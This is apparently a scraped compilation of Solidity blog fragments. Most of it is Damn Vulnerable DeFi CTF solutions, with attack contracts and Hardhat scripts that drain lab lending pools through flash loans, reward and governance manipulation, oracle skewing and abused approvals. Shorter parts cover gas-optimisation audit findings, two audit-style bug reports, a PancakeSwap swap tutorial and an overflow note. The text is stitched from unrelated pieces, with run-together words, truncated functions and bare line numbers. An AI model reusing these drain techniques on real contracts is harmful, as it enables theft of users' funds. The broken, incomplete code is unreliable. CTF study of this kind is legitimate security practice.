function testLowLevelCallRevert() public { vm.expectRevert(bytes("error message")); (bool revertsAsExpected, ) = address(myContract).call(myCalldata); assertTrue(revertsAsExpected, "expectRevert: call did not revert"); }
Use our deployed contract to send back the token using deposit function.After the flashloan call withdraw function to take our tokens back. Do not forget to set the receive function for receiving tokens. Use _to.call function to send tokens,it is the current recommended method to use.
functionattack(SideEntranceLenderPool pool,address payable player) external { //make a flashloan pool.flashLoan(1000 ether); //get the money pool.withdraw(); //send to palyer (bool sent,) = player.call{value:1000 ether}(""); require(sent, "Failed to send Ether"); }
receive() external payable {} }
Challenge5
The reward pool only count the amount of deposit. We can use flash loan to borrow some DVT token and claim the reward token at the same time.Here goes the code:
functionreceiveFlashLoan(uint256 amount) external{ //do something. //deposit to reward pool //approve amount to the reward pool DVTtoken.approve(address(RewardPool),amount);
RewardPool.deposit(amount);
//claim the rewards RewardPool.distributeRewards();
//withdraw DVTtokens RewardPool.withdraw(amount);
//return back DVT token. DVTtoken.transfer(address(pool),amount);
//send reward token to our player. RdToken.transfer(owner,RdToken.balanceOf(address(this))); }
This challenge is similar to the previous one.Firstly we use flashloan borrow some DVT token.Secondly we use the DVT token make a governance action.Finally two days later we make a executeAction to claim the DVT token to our attack contact and send it to our player.Here goes the entire code:
Therefore, we use swap all our DVT token to ETH and then the number of uniswapPair.balance/token.balanceOf(uniswapPair) goes down.After that happened we can deposit our eth to borrow all the DVT token in lending pool.
//approve DVTtoken to uniswap pool token.approve(uniswapExchange,token.balanceOf(address(this)));
//swap all DVT token to eth in uniswap pool. UniswapExchangeInterface(uniswapExchange).tokenToEthSwapInput(token.balanceOf(address(this)), 1, block.timestamp+5);
//borrow DVT token by depositing eth. pool.borrow{value:address(this).balance}(token.balanceOf(address(pool)),msg.sender); }
There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH. A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH. Take all ETH out of the user’s contract. If possible, in a single transaction.
The issue here is that the user contract does not authenticate the user to be the owner, so anyone can just take any flash loan on behalf of that contract. We can interact with pool contract directly to drain user’s contract like this:
1 2 3 4
constETH = await pool.ETH(); for (let i = 0; i < 10; i++) { await pool.connect(player).flashLoan(receiver.address, ETH, 0, "0x"); }
Or we can delpoy an attack contract to invoking pool contract:
Use .call instead of .transfer to send ether
.transfer will relay 2300 gas and .call will relay all the gas. If the receive/fallback function from the recipient proxy contract has complex logic, using .transfer will fail, causing integration issues.
Unbounded loop
1 2 3 4 5 6 7 8 9 10 11
function claimGovFees() public { address[] memory assets = bondNFT.getAssets();
- address public owner; + address public immutable owner;
mapping(address⇒bool) using bool for storage incurs overhead
1 2
- mapping(address => bool) public allowedAsset; + mapping(address => uint256) public allowedAsset;
Save gas with the use of the import statement
Solidity code is also cleaner in another way that might not be noticeable: the struct Point. We were importing it previously with global import but not using it. The Point struct polluted the source code with an unnecessary object we were not using because we did not need it.
This was breaking the rule of modularity and modular programming: only import what you need Specific imports with curly braces allow us to apply this rule better.
Recommendation:
import {contract1 , contract2} from "filename.sol";
Sort Solidity operations using short-circuit mode
//f(x) is a low gas cost operation
//g(y) is a high gas cost operation
//Sort operations with different gas costs as follows
f(x) || g(y)
f(x) && g(y)
Change for loop behavior by removing add (+1) and ++x is more gas efficient
1 2 3 4 5 6 7 8
functionbuy(uint256 _amount) external payable { ... - for (uint48 x = sale_.currentId + 1; x <= newId; x++) { + for (uint48 x = sale_.currentId; x < newId; ++x) { nft.mint(msg.sender, x); } ... }
Multiple access to mapping/array should use local variable cache
Duplicated require should be modifier or function
Use custom error rather than revert()/require()
Use calldata instead of memory for read-only variable
require()/revert() string longer than 32 bytes cost extra gas
Using Openzeppelin Ownable2Step.sol is gas efficient
Using UniswapV3 mulDiv function is gas-optimized
Use nested if and, avoid multiple check combinations
Avoid using state variable in emit (130 gas)
Instead of cache a whole object ,try cache single Attributes
Using int32 for time
Don’t use _msgSender() if not supporting EIP-2771
Using > 0 costs more gas than != 0 when used on a uint in a require() statement(version>0.8.13)
Using bools for storage incurs overhead
.length should not be looked up in every loop of a for-loop
Using calldata instead of memory for read-only arguments in external functions saves gas
Splitting require() statements that use && saves gas
Use a more recent version of solidity
require()/revert() strings longer than 32 bytes cost extra gas
+= costs more gas than = + for state variables
Using storage instead of memory for structs/arrays saves gas
After the contract is destroyed,the subsequent execution of the contract’s function buy() is going on.That causes the msg.value token to be lost in the contract forever.
Proof of concept
Note:When there is no code at the address, the transaction will succeed, and the msg.value will be stored in the contract.
Let’s say Alice and bob are invoking the contact simultaneously. The transactions are sent to the mempool. Alice is finished executes her transaction when bob is still waiting for his result. And then the contract is destroyed. Finally, bob finished his transaction and sent his token to this contract. This way bob’s token is lost and locked forever in this empty contract.
Recommended mitigation steps
Instead of using self-destruct, we could modify the state to represent the contract has completed the process.We could modify the code like this:
Voucher can be counted arbitrary many times in staker’s lockedCoinAge. If a voucher has maximized its trust then its locked is added to the lockedCoinAge each time fully as its lastUpdated is kept intact. This provides a surface to grow lockedCoinAge as big as an attacker wants, increasing it by current_block_difference * vouch.locked on each transaction.
uint256 lastWithdrawRewards = getLastWithdrawRewards[vouch.staker]; stakers[vouch.staker].lockedCoinAge += (block.number - _max(lastWithdrawRewards, uint256(vouch.lastUpdated))) * uint256(vouch.locked); if (lock) { // Look up the staker and determine how much unlock stake they // have available for the borrower to borrow. If there is 0 // then continue to the next voucher in the array uint96 stakerLocked = stakers[vouch.staker].locked; uint96 stakerStakedAmount = stakers[vouch.staker].stakedAmount; uint96 availableStake = stakerStakedAmount - stakerLocked; uint96 lockAmount = _min(availableStake, vouch.trust - vouch.locked); if (lockAmount == 0) continue; // Calculate the amount to add to the lock then // add the extra amount to lock to the stakers locked amount // and also update the vouches locked amount and lastUpdated block innerAmount = _min(remaining, lockAmount); stakers[vouch.staker].locked = stakerLocked + innerAmount; vouch.locked += innerAmount; vouch.lastUpdated = uint64(block.number); } else { // Look up how much this vouch has locked. If it is 0 then // continue to the next voucher. Then calculate the amount to // unlock which is the min of the vouches lock and what is // remaining to unlock uint96 locked = vouch.locked; if (locked == 0) continue; innerAmount = _min(locked, remaining); // Update the stored locked values and last updated block stakers[vouch.staker].locked -= innerAmount; vouch.locked -= innerAmount; vouch.lastUpdated = uint64(block.number); }
Above code is invoked where user called borrow() function with amount>minBorrow: code
1 2 3 4 5 6 7 8 9 10 11
function borrow(address to, uint256 amount) external override onlyMember(msg.sender) whenNotPaused nonReentrant { IAssetManager assetManagerContract = IAssetManager(assetManager); if (amount < minBorrow) revert AmountLessMinBorrow(); if (amount > getRemainingDebtCeiling()) revert AmountExceedGlobalMax();
...
// Call update locked on the userManager to lock this borrowers stakers. This function // will revert if the account does not have enough vouchers to cover the borrow amount. ie // the borrower is trying to borrow more than is able to be underwritten IUserManager(userManager).updateLocked(msg.sender, (actualAmount + fee).toUint96(), true);
When vouch.trust == vouch.locked the value of lockAmount goes to zero. And the loop continued.Thus the value of lastUpdated doesn’t updated.
Suppose Bob the staker has a vouch with trust maxxed, i.e. vouch.trust = vouch.locked = 10k DAI. He can setup a second borrower being his own account, some minimal trust, then can run min borrow many, many times, gaining huge stakers[vouch.staker].lockedCoinAge as vouch.lastUpdated aren’t updated and lockedCoinAge grows with a positive some_number_of_blocks * 10k DAI number each time Bob borrows 1 DAI via his second borrower.
if (token.balanceOf(address(this)) < balanceBefore) revert RepayFailed();
returntrue; }
Target here means address of the DVT token that we deployed before.Thus we can use this call to approve amount to attacker address.Let's jump into code:
Firstly, we need an abi string about the approve function. Secondly,make a flash loan via pool address. Finally,transfer all amount of pool DVT token to msg.sender(palyer).
hardhat test script
1 2 3 4 5 6
//deploy the attack contract attack = await ( await ethers.getContractFactory("TrusterAttack", player) ).deploy(); //invoke attack contract via player address. await attack.connect(player).attack(pool.address, token.address);
In this article i gonna show you how to make a swap using pancakeswap smart router in solidity contract.Here wo go. In this example i swap BUSD token to CAKE.Here is the address of each token:
Let’s go dive into the deep.Firstly we need set a swap amount, eg:0.01 BUSD, an wed need a min out amount as well.The last parameter is path which means the path of swap tokens.When we swap busd to cake we can find a pool consist of busd and cake。So the path is simple.For some other tokens maybe the path is a litte bit longer.We have to use two or three or more pools to get the token we want. In the pancakeswap front-end page , it returns a path before we make the swap. In the solidity code we have to do it ourself.We have to get the optimal path before we make the swap.Let’s dive into the pancakeswap smart router code.
There are so many swap function we can use to help use swap tokens. In this demo we use swapExactTokensForTokens. As you see there is a function named swapExactTokensForTokensSupportingFeeOnTransferTokens. We need to know what’s the difference between this two functions.
functionswapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) { // transfer token from sender address to pool[0] TransferHelper.safeTransferFrom( path[0], msg.sender, PancakeLibrary.pairFor(factory, path[0], path[1]), amountIn );
// the balance of des token that receiver hold. uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
// make the sawp. _swapSupportingFeeOnTransferTokens(path, to);
// make sure the out token is bigger than the set amountOutMin value. require( IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin, 'PancakeRouter: INSUFFICIENT_OUTPUT_AMOUNT' ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
functionswapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) returns (uint[] memory amounts) { // get the out amount using PancakeLibrary via amountIn. amounts = PancakeLibrary.getAmountsOut(factory, amountIn, path);
// after calculate all result make sure the out amount is bigger than amountOutMin. require(amounts[amounts.length - 1] >= amountOutMin, 'PancakeRouter: INSUFFICIENT_OUTPUT_AMOUNT');
After compare the above two functions we know the difference. In the swapExactTokensForTokens function the exact transfer amount is set by PancakeLibrary getAmountsOut. And in this article we use swapExactTokensForTokensSupportingFeeOnTransferTokens. Here is the entire code from github gist : code
Arithmetic operations revert on underflow and overflow. You can use unchecked { … } to use the previous wrapping behaviour.
Checks for overflow are very common, so we made them the default to increase readability of code, even if it comes at a slight increase of gas costs. 因为检查溢出的情况非常普遍,所以即使会增加 gas 费用我们还是将检查溢出设置为默认情况。但是在 0.8 版本之后你可以在函数中添加 unchecked{…}块来使这部分代码不需要再考虑溢出的情况。
接下来我们使用一个例子看下具体的区别
1 2 3 4 5 6 7 8 9 10 11 12
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7;
contract Counter { uint8 public count = 0;
function increment() external returns(uint8) { count --;
return count; } }
溢出之后直接报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7;
contract Counter { uint8 public count = 0;
function increment() external returns(uint8) { unchecked{ count --; }